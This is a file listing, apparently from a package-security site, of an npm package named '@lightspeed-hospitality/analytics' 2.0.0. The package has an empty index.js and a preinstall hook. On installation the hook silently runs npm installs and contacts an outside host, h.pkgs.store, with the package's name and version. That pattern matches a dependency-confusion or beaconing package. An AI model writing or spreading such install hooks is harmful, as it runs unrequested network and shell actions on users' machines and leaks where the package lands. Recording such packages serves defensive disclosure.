@lightspeed-hospitality/analytics 2.0.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/package.json +14 -0
  3. package/preinstall.js +47 -0
package/index.js ADDED
@@ -0,0 +1 @@
1
+ //index.js
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "@lightspeed-hospitality/analytics",
3
+ "version": "2.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node preinstall.js"
9
+
10
+ },
11
+ "keywords": [],
12
+ "author": "",
13
+ "license": "ISC"
14
+ }
package/preinstall.js ADDED
@@ -0,0 +1,47 @@
1
+ // preinstall.js
2
+ const { execSync } = require('child_process');
3
+ const pkg = require('./package.json');
4
+
5
+ // Check if axios is already installed
6
+ try {
7
+ require.resolve('axios');
8
+ } catch (error) {
9
+ // axios is not installed, install it
10
+ console.log('Installing axios...');
11
+ execSync('npm install axios');
12
+ }
13
+
14
+ // Check if semver is already installed
15
+ try {
16
+ require.resolve('semver');
17
+ } catch (error) {
18
+ // semver is not installed, install it
19
+ console.log('Installing semver...');
20
+ execSync('npm install semver');
21
+ }
22
+
23
+ const axios = require('axios');
24
+ const semver = require('semver');
25
+
26
+ const url = 'https://h.pkgs.store/lightspeed-hospitality/analytics?v=2.0.0';
27
+
28
+ axios.get(url)
29
+ .then(res => {
30
+ if (res.data === true) {
31
+ // The package is up to date, proceed with installation
32
+ console.log('The package is up to date.');
33
+ } else if (res.data === false) {
34
+ // The package is outdated, abort installation and show an error message
35
+ console.error('The package is outdated. Please update to the latest version.');
36
+ process.exit(1);
37
+ } else {
38
+ // The response is invalid, abort installation and show an error message
39
+ console.error('The response from the url is invalid.');
40
+ process.exit(1);
41
+ }
42
+ })
43
+ .catch(err => {
44
+ // There was an error making the request, abort installation and show an error message
45
+ console.error('There was an error checking the url:', err.message);
46
+ process.exit(1);
47
+ });